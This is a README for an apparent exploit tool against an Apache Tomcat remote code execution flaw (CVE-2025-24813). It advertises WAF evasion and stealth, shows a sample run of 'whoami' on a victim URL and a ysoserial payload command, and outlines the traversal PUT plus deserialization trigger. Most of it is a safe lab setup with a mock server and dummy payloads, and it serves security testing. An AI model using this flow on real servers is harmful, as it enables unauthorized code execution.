
Este repositorio contiene un exploit automatizado desarrollado con fines educativos y de investigación en ciberseguridad, dirigido a demostrar una potencial vulnerabilidad de ejecución remota de código (RCE) en Apache Tomcat (CVE-2025-24813).
⚡ Version: 1.0 🛡️ CVE ID: CVE-2025-24813 (Apache Tomcat RCE) 🧬 Payloads:
ysoserial/Java🌐 Mode: Interactive + Stealth 🔬 Usage: Ethical, Investigative, Educational
This tool has been designed as a futuristic exploitation suite focused on:
🧪 Designed for cybersecurity professionals, researchers, pentesters, and red teams.
✅ Interactive and intuitive interface
✅ Dynamic payloads (ysoserial or compiled Java)
✅ Chameleon anti-WAF headers
✅ Automatic evasion + payload fragmentation
✅ Backend execution fingerprinting
✅ Detailed per-target logging
✅ Dynamic cyberpunk style banner (🔮 glitch animation)
✅ Live console feedback (with Rich & Colorama)
Install the necessary requirements with:
pip install -r requirements.txt
Dependencies:
requests
colorama
rich
validators
And make sure you have:
Java and javac in your PATHysoserial.jar if you use the ysoserial payload typeRun the script:
python3 POC-Exploit_CVE_2025_24813.py
And fill in the configuration:
🧬 Select payload type 💣 Specify the command 🌐 Enter the target URL 🔧 Adjust evasion and SSL settings
🔗 [?] Enter target URL: https://victim.org
💣 [?] Command to execute: whoami
🧬 [?] Payload type: ysoserial
📂 [?] Path to ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] Verify SSL? (yes/no): no
🚀 Executing...
🧬 WAF detected... changing strategy
⚙️ Uploading payload...
💥 Remote execution confirmation
✅ Result: 'apache'
┌──────────────────────────────┐
│ Interactive Mode │
├──────────────────────────────┤
│ URL Validation │
│ Session Detection │
│ WAF Detection │
│ Payload Generation │
│ Evasive Upload via PUT │
│ Execution Verification │
└──────────────────────────────┘
↘ LOGS PER TARGET
ysoserial, it serializes vulnerable gadgets to execute commands..java file that executes the remote command from the server.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Main script
ysoserial.jar # Required if using 'ysoserial'
logs/ # Folder for per-target individual logs
payload.ser # Temporarily generated payload
Exploit.java / .class # Temporary Java files
This tool was created for strictly legal and educational purposes.
✅ Allowed:
🚫 Prohibited:
Neither the author nor the contributors are responsible for misuse. You are responsible for your own conduct.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Apache Tomcat Remote Code Execution 🔗 See details at CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
See the
LICENSEfile for more information.
This README and script are designed for an immersive, visual, and elegant experience, in tune with a new era of futuristic cybersecurity with purpose.
✨ Not just exploits... it's a technical symphony of evasion and digital control.
Recommended version: Python 3.8+
Python libraries you must install:
pip install requests colorama
The script uses two forms of payloads:
Therefore you need:
Java JDK (not just JRE, because code is compiled). Verify with:
java -version
javac -version
If both commands work, you're ready.
Download the .jar from here 👉 https://github.com/frohoff/ysoserial
Save it in the same directory as the script or provide the full path when prompted. Example:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) will open the calculator.gnome-calculator or xcalc.Install Python 3.8+
Install libraries:
pip install requests colorama etc
Install Java JDK 8+
java -version
javac -version
Download ysoserial.jar to the script folder.
👉 With all that you can run the script in safe lab mode (only in controlled environments, for testing).
Version: 1.0 Purpose: This guide explains how to prepare a fully safe environment to test the script you have, without affecting real systems. It includes a test server (mock), safe mode (DRY_RUN / SAFE_TEST), and clear steps to run the tool in a lab.
pip available.virtualenv or venv.Install dependencies:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
Note:
flaskis only used for the local test server (mock).
Create a file named mock_server.py with the following content. The server simulates the endpoints that the script expects and returns controlled states (200, 409, 500) so you can validate the script's logic without touching real servers.
# mock_server.py — safe test server
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simulates a page that may return a JSESSIONID cookie or text containing "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simulates a writable resource
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simulates that the upload was accepted but returns 409 (behavior the script expects)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# If the cookie matches and the session was "uploaded", return 500 to simulate deserialization failure
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
How to run it:
python mock_server.py
# The mock will listen on http://127.0.0.1:8000
For testing you don't need to generate real payloads. Create a simple file that the script can upload:
echo "DUMMY_PAYLOAD" > payload.ser
This file does not contain executable code: it only serves to validate the upload logic and check mock server responses.
To prevent the script from invoking external utilities (Java/ysoserial) or performing dangerous actions, add this block at the beginning of the main script (before any generation/subprocess call):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
Then modify (or wrap) the generation/upload functions to behave safely when SAFE_TEST is True.
Example minimal change for generate_ysoserial_payload and generate_java_payload:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST active — creating dummy payload (non-executable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- original behavior only if SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST active — creating dummy java payload (non-executable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- original behavior only if SAFE_TEST == False ---
And in upload_and_verify_payload, if SAFE_TEST is True, use the normal flow (the mock will accept it) but do not execute commands outside the script.
How to activate SAFE_TEST:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
Start your virtual environment and ensure dependencies are installed (see Requirements section).
Launch mock_server.py:
python mock_server.py
Create the dummy payload if you are not using SAFE_TEST or if it does not create the payload for you:
echo "DUMMY_PAYLOAD" > payload.ser
Activate safe mode in the terminal:
export SAFE_TEST=1 # Linux/macOS
# or in PowerShell: $env:SAFE_TEST = "1"
Run the main script:
python3 your_script.py
Answer the prompts (you will use lab values):
http://127.0.0.1:8000ysoserial (the script, with SAFE_TEST=1, will create a dummy payload instead of invoking external tools)ysoserial.jar — it will not be used in safe mode)no (your mock uses HTTP)check_writable_servlet function detects the successful PUT on the /check.txt endpoint.payload.ser, the mock returns 409 and then the script makes a GET with the JSESSIONID cookie.Use pytest and requests-mock to simulate HTTP responses.
Create tests for:
validate_url — valid/invalid inputs.retry_request — simulate exceptions and retries.detect_waf — simulate Server headers with and without signatures.upload_and_verify_payload — use the mock server to validate the flow.Simple example with requests-mock (skeleton):
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# use requests_mock to simulate a GET and test retry_request
pass
Author:ByMakavali
Observe the console output: you should see messages like Server is writable via PUT, Payload uploaded with status 409 and Exploit succeeded! Server returned 500 after deserialization. — this is only on the mock and means the script's logical flow works.
Check the logs in logs/ — the script saves entries with timestamps. For example logs/127_0_0_1_8000.log (depending on the sanitized target name).